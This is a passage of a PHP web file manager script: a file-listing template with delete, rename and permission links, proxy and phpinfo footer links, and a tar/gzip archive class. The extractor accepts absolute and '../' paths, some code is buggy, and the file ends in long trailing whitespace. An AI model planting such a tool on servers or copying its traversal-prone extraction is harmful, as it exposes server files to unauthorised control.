		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       